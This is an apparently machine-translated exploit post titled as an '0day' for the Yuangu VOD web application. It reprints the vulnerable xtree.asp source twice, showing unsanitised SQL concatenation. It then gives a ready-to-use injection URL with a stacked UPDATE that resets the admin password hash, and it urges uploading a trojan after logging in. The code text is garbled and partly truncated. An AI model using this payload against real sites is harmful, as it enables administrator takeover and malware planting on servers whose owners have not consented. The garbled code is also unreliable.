Yuangu VOD (0day)

Vulnerability file webmedia/common/function/xtree. asp
<〈! -- # Include file = "../dbcon. inc. asp" -->
<%
INode_ID = Request. QueryString ("id ")
If Len (Session ("SuperAdmin")> 0 or Len (Session ("LIVEAdmin")> 0 or Len (Session ("VODAdmin")> 0 then
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> = 20 AND ParentID =" & iNode_ID
Else
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> 20 AND ParentID =" & iNode_ID
End if
RsData. Open szSQL, con, 1, 3
SzRetVar = "<? Xml version = '1. 0' encoding = 'gb2312 '?> <Root>"
Do while not rsData. EOF
SzRetVar = szRetVar & "<TypeInfo>"
SzRetVar = szRetVar & "<IDN>" & rsData ("Type_ID") & "</IDN>"
SzRetVar = szRetVar & "<ParentID>" & rsData ("ParentID") & "</ParentID>"
SzRetVar = szRetVar & "<TypeName>" & Replace (rsData ("TypeName"), "&", "&") & "</TypeName>"
SzRetVar = szRetVar & "</TypeInfo>"
RsData. MoveNext
Loop
SzRetVar = szRetVar & "</Root>"
RsData. Close
Response. CharSet = "GB2312"
Response. C
Response. Expires =-1
Response. Write szRetVar
%>
<〈! -- # Include file = "../dbend. inc. asp" -->
<〈! -- # Include file = "../dbcon. inc. asp" -->
<%
INode_ID = Request. QueryString ("id ")
If Len (Session ("SuperAdmin")> 0 or Len (Session ("LIVEAdmin")> 0 or Len (Session ("VODAdmin")> 0 then
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> = 20 AND ParentID =" & iNode_ID
Else
SzSQL = "SELECT Type_ID, ParentID, TypeName FROM TypeInfo WHERE Type_ID> 20 AND ParentID =" & iNode_ID
End if
RsData. Open szSQL, con, 1, 3
SzRetVar = "<? Xml version = '1. 0' encoding = 'gb2312 '?> <Root>"
Do while not rsData. EOF
SzRetVar = szRetVar & "<TypeInfo>"
SzRetVar = szRetVar & "<IDN>" & rsData ("Type_ID") & "</IDN>"
SzRetVar = szRetVar & "<ParentID>" & rsData ("ParentID") & "</ParentID>"
SzRetVar = szRetVar & "<TypeName>" & Replace (rsData ("TypeName"), "&", "&") & "</TypeName>"
SzRetVar = szRetVar & "</TypeInfo>"
RsData. MoveNext
Loop
SzRetVar = szRetVar & "</Root>"
RsData. Close
Response. CharSet = "GB2312"
Response. C
Response. Expires =-1
Response. Write szRetVar
%>
<〈! -- # Include file = "../dbend. inc. asp" -->
It is easy to see that the above database permission injection exists.
Inject address: http://WWWW.2cto.COM/webmedia/common/function/xtree. asp? Id = 1
Table segment name: customer
The constructor changes the admin pass to fuck.
Http://WWWW.XXXXX.COM/webmedia/common/function/xtree.asp? Id = 1; update % 20 customer % 20 set % 20 UserPass = '633f94d350db34d5 '% 20 where % 20 UserName = 'admin'
 
Log on to the background and upload the trojan file!
 
This article was originally compiled by (0day5)